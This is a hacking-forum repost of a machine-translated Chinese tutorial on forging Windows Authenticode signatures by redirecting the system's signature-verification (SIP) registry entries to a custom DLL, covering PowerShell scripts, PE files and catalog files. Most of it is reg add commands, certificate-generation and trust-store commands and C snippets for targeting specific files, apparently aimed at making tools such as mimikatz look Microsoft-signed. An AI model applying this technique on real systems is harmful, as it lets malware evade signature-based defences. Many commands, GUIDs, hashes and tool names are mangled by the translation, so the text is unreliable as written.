跳转到帖子
  • 游客您好,欢迎来到黑客世界论坛!您可以在这里进行注册。

    赤队小组-代号1949(原CHT攻防小组)在这个瞬息万变的网络时代,我们保持初心,创造最好的社区来共同交流网络技术。您可以在论坛获取黑客攻防技巧与知识,您也可以加入我们的Telegram交流群 共同实时探讨交流。论坛禁止各种广告,请注册用户查看我们的使用与隐私策略,谢谢您的配合。小组成员可以获取论坛隐藏内容!

    TheHackerWorld官方

验证码签名伪造——针对文件类型的签名伪造


Tenfk

推荐的帖子

0x00 前言

在上篇文章《Authenticode签名伪造——PE文件的签名伪造与签名验证劫持》 介绍了针对单一文件的验证码签名伪造,需要在文件尾部添加伪造的签名数据,这次将介绍另一种签名伪造方式:通过修改系统的签名获取机制,欺骗系统将正常文件识别为包含签名数据。

注:

本文介绍的技巧参考自matt Graeber @ matti festigation公开的资料,本文将结合自己的经验,整理相关内容,添加个人理解。

参考资料:

幽灵特工队https://号。io/assets/resources/specter ops _ revising _ Trust _ in _ windows。可移植文档格式文件的扩展名(portable document format的缩写)

http://www。剥削-星期一。com/2017/08/真实ode-signals的应用。超文本标记语言

https://号车道。谷歌。com/file/d/0 b-k 55 rloulafnms S1 aw 1 rbx f1 TMC/view

0x01 简介

本文将要介绍以下内容:

针对powershell脚本的签名伪造方法

针对体育课文件的签名伪造方法

针对其他类型文件的签名伪造方法

添加代码实现对特定文件的签名伪造

0x02 针对powershell脚本的签名伪造方法

前提是powershell脚本需要包含一个签名(自己生成的签名会被识别为无效),下面介绍如何将该无效签名伪造成有效的微软签名

生成测试证书:

makecert-n ' CN=Microsoft Windows Test1 '-r-eku 1。3 .6 .1 .5 .5 .7 .3 .3-SV认证测试。pvk证书测试。条件性情绪反应

cert2spc认证测试

pvk 2 pfx-pvk认证测试。pvk-pi 123456-SPC认证测试。SPC-pfx认证测试。pfx-f

不需要注册该证书

注:

使用makecert.exe要加参数-eku

否则提示证书无法用于代码签名,具体错误如下:

Set-AuthenticodeSignature:无法对代码进行签名。指定的证书不是

适用于代码签名。

如下图

2-1.png

给powershell脚本签名:

$ cert=Get-pfx certificate证书测试。pfx

set-AuthenticodeSignature-文件路径1。PS1证书$ Cert

验证证书:

Get-AuthenticodeSignature .\1.ps1

提示未知错误,表示文件签名无效

如下图

2-2.png

修改注册表,命令如下:

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ cryptsipdlverifyindindata \ { 603 bcc1f-4b 59-4e 08-B724-d2c 6297 ef 351 } '/v ' Dll '/t REG _ SZ/d ' C:\ test \ mysip。Dll '/f

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ cryptsipdlverifyinddirectdata \ { 603 bcc1f-4b 59-4e 08-B724-d2c 6297 ef 351 } '/v ' FuncName '/t REG _ SZ/d ' AutoApproveHash '/f

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ CryptSIPDllGetSignedDataMsg \ { 603 bcc1f-4b 59-4 e08-B724-d2c 6297 ef 351 } '/v ' Dll '/t REG _ SZ/d ' C:\ test \ mysip。Dll '/f

注册添加“HKLM”软件\微软\密码术\ OID \编码类型0 \ CryptSIPDllGetSignedDataMsg \ { 603 bcc1f-4b 59-4e 08-B724-d2c 6297 ef 351 } '/v ' FuncName '/t REG _ SZ/d ' GetLegitMSSignature '/f

再次验证:

Get-AuthenticodeSignature .\1.ps1

显示有效,签名有效

如下图

2-3.png

注:

不同系统下相同名称的文件签名不同

afdd 80 C4 ebf 2f 61d 3943 f18 bb 566 D6 aa 6f 6e 5033为马特格雷贝尔测试系统中的notepad.exe签名混杂

现在在我们自己的系统进行测试:Win10 x64

分别获取notepad.exe的签名信息:

get-AuthenticodeSignature c:\ windows \ system32 \ notepad。可执行程序的扩展名

签名检查-I C:\ Windows \ System32 \ notepad。可执行程序的扩展名

可以发现信号检查的输出内容中,指纹对应文件签名哈希,如下图

3-1.png

接下来,将测试系统改为Win7 x86

在Win7下使用Get-AuthenticodeSignature无法获得notepad.exe的签名信息(目录签名)

如下图

3-2.png

但可以通过信号检查获得,如下图

3-3.png

混杂为:018 b 222 e 21 fbb 2952304d 04 D1 d 87 f 736 ed 46 dea4

定位猫文件路径:C:\ Windows \ system32 \ CatRoot \ { f 750 E6 C 3-38EE-11 D1-85e 5-00 C 04 fc 295 ee } \ n exe。猫。猫文件保存格式为ASN.1标准,直接通过记事本无法查看,需要解密,在线网址如下:

https://lapo.it/asn1js/

选择猫文件后即可解密显示完整格式

格式解析可参考:

https://支持。微软。com/en-us/help/287547/object-ids-associated-with-Microsoft-cryptography

在PoCSubjectInterfacePackage项目中用MS_cert.bin替换该文件,并重新编译它。

配置注册表

打开新的cmd并检查powershell脚本签名:

Get-AuthenticodeSignature。\1.ps1

与sighcheck获得的哈希值一致,如下图所示

3-4.png

powershell脚本的Authenticode签名伪造成功。

对上述操作的直观理解:

该方法是通过修改系统证书验证过程,使文件将指定的catalog签名作为自己的Authenticode签名

当然,所有签名的powershell脚本都会统一到带有hash 018 b 22 e 21 fbb 2952304d 04 D1 d 87 f 736 ed 46 de a 4的签名中,这就带来了一个问题:这样会影响正常系统文件的签名校验

我们可以看到,这样伪造的签名将作用于所有powershell脚本。那么,我们能伪造一个特定的powershell脚本吗?

Matt Graeber的开源项目PoCSubjectInterfacePackage作为修改的模板,下载地址如下:

https://github.com/mattifestation/PoCSubjectInterfacePackage

重点放在GetLegitMSSignature这个函数上,在线地址:

https://github . com/matti festation/PoCSubjectInterfacePackage/blob/master/my sip/my sip . c # L138

在以下地址查看结构SIP_SUBJECTINFO *pSubjectInfo的参数描述:

https://msdn . Microsoft . com/en-us/library/windows/desktop/bb 736434(v=vs . 85)。aspx

pwsFileName和pwsDisplayName都可以表示文件名,所以它们可以被MessageBox验证。

将以下代码添加到GetLegitMSSignature函数中:

MessageBox (NULL,pSubjectInfo-pwsFileName,pSubjectInfo-pwsDisplayName,0);

测试并成功获取传入文件名,如下图所示

4-1.png

接下来的思路是:

判断传入文件的名称,在满足条件的文件上加载相应的目录签名,最后伪造特定文件的签名。

过滤文件的代码如下:

if(lstrcmpi((LPCTSTR)psobjectinfo-pws filename,L'C:\\test\\cer\\1.ps1')==0)

{

MessageBox (NULL,L '获取所选文件',(LPCTSTR)psobjectinfo-pws filename,0);

}

完整的代码可以参考:

https://raw . githubusercontent . com/3g student/test/master/mysip . c

当前文件为C:\test\cer\1.ps1时,符合条件,伪造签名;否则,放弃。

测试下图

4-2.png

成功伪造特定文件的签名。这种方法的优点是不需要在文件末尾添加Authenticode签名,并且不改变文件哈希。

当然,这只是一个POC,还要判断系统文件的签名验证。

0x03 针对PE文件的签名伪造方法

请参考以下列表:

c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee-PE

DE 351 a 43-8e 59-11d 0-8c 47-00 c 04 fc 295 ee-catalog . cat文件

9a 613 f-e73a-11d 0-8 C2-00 c 04 fc 295 ee-CTL . CTL文件

c 689 aaba-8e 78-11d 0-8c 47-00 c 04 fc 295 ee-cab文件

如果替换对exe文件的检查,即CryptSIPDllVerifyIndirectData和CryptSIPDllGetSignedDataMsg,命令如下:

REG ADD ' HKLM \软件\微软\密码术\ OID \ encoding type 0 \ cryptsipdlverifyindirectdata \ { C 689 aab 8-8e 78-11d 0-8c 47-00 C 04 fc 295 ee } '/v ' Dll '/t REG _ SZ/d ' C:\ test \ mysip . Dll '/f

REG ADD ' HKLM \软件\微软\密码术\ OID \ encoding type 0 \ cryptsipdlverifyindirectdata \ { c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee } '/v ' FuncName '/t REG _ SZ/d ' AutoApproveHash '/f

REG ADD ' HKLM \软件\微软\密码术\ OID \ encoding type 0 \ CryptSIPDllGetSignedDataMsg \ { C 689 aab 8-8e 78-11d 0-8c 47-00 C 04 fc 295 ee } '/v ' Dll '/t REG _ SZ/d ' C:\ test \ mysip . Dll '/f

REG ADD ' HKLM \软件\微软\密码术\ OID \ encoding type 0 \ CryptSIPDllGetSignedDataMsg \ { c 689 aab 8-8e 78-11d 0-8c 47-00 c 04 fc 295 ee } '/v ' FuncName '/t REG _ SZ/d ' GetLegitMSSignature '/f

重启explorer.exe,所有exe文件都包含带有hash的签名:018 b 22 e 21 fbb 2952304d 04 D1 d 87 f 736 ed 46 dea4。

特别之处:伪造的签名来自于cat文件,但是会以Authenticode签名的格式显示,通过文件属性能够看到签名信息(这是Authenticode签名的特性,catalog签名不具有该特性)

同样,修改原项目可以实现对特定PE文件的签名伪造,方法在此不再赘述。

0x04 针对cat文件的签名伪造方法

如果所有的签名验证过程。cat文件被替换,然后添加到安全目录数据库,包含目录签名的PE文件是否也会得到伪造的签名?

让我们开始测试:

使用以下内容创建一个新的文本文档cat.txt:

[目录标题]

Name=makecat1.cat

[目录文件]

ExeFile1=mimikatz.exe

注:

txt文件末尾需要有一个空行,否则下一次操作会报错,表示找不到文件。

使用makecat.exe生成makecat1.cat:

makefile-v cat。文本文件(textfile)

为makecat 1。猫添加伪造的验证码签名:

签名工具签名/f证书测试。pfx/p 12345生成文件1。猫

注:美元

测试,pfx不能使用之前手动生成的证书,不能加参数-eku 1。3 .6 .1 .5 .5 .7 .3 .3;否则可执行程序的扩展名文件文件的目录(目录)签名将会校验失败

生成测试,pfx的操作如下:

makcert-n ' cn=Microsoft windows test 1 '-r-SV certest。pvk认证测试。条件性情绪反应

cert 2 SPC认证测试。cer证书测试。单纸包的(single paper covered的缩写)

pvk2pfx -pvk确定性测试。pvk-pi 12345-SPC确定性测试。spc -pfx确定性测试。pfx -f

此处还需要将证书安装到""受信任的根证书颁发机构""存储区

管理员权限:

certstore。exe-add-c证书存储。cer-s-r本地计算机根

否则,之后的签名验证会报错,提示证书链不可信

补充:美元

从""受信任的根证书颁发机构""存储区删除证书的操作为:

(管理员权限)

cermgr。' windows test 1 '-s-r本地计算机根目录(本地计算机根)

猫!猫文件对应guid:351-43-8和59-11D0-8C47-00C04FC295EE

替换注册表键值:

reg add hklm \ software \ Microsoft \ cryptography \ oid \ encoding type 0 \ crypt dllvifyinddirectdata \ {从351到43-8和59-11 d0-8c 47-00 c04 fc 295 ee } '/v ' dll '/t reg _ SZ/d c:\ test \ my IP。dll '/f

reg add hklm \ software \ Microsoft \ cryptography \ oid \ encoding type 0 \ crypt dllvifyinddirectdata \ {从351到43-8和59-11 d0-8c 47-00 c04 fc 295 ee } '/v ' funcname '/t reg _ SZ/self-self

reg add hklm \ software \ Microsoft \ cryptography \ oid \ encoding type 0 \ crypt sipdlgtsingddatasg \ { 351 a 43-8 e 59-11 d0-8c 47-00 c04 fc 295 ee } '/v ' dll '/t reg _ SZ/d c:\ test \ my IP。dll '/f

reg add hklm \ software \ Microsoft \ cryptography \ oid \ encoding type 0 \ crypt sipdlgtsingddatasg \ { 351-43-8和59-11 d0-8c 47-00 c04 fc 295 ee } '/v ' funcname '/t reg _ SZ/de获取数据赋值'/f

重启explorer.exe,所有的猫!猫文件签名均为微软视窗软件

将makecat 1。猫添加到系统的安全编录数据库:

(管理员权限)

卡特彼勒db-v生成文件1。猫标志工具

最终,发现文件的目录(目录)签名保持不变,无法进行伪造

得出结论010-5900

0x05 小结

本文介绍了验证码签名伪造的另一种利用方法:通过修改系统的签名获取机制,欺骗系统将正常文件识别为包含签名数据。

经过这两篇文章的测试,得出最终结论:应谨慎对待系统的验证码签名,因为通过修改注册表或动态链接库劫持等方式均能够伪造出微软签名,对此,白名单等防御机制不应盲目相信验证码签名过的文件。

留下一个答案

链接帖子
意见的链接
分享到其他网站

黑客攻防讨论组

黑客攻防讨论组

    You don't have permission to chat.
    • 最近浏览   0位会员

      • 没有会员查看此页面。
    ×
    ×
    • 创建新的...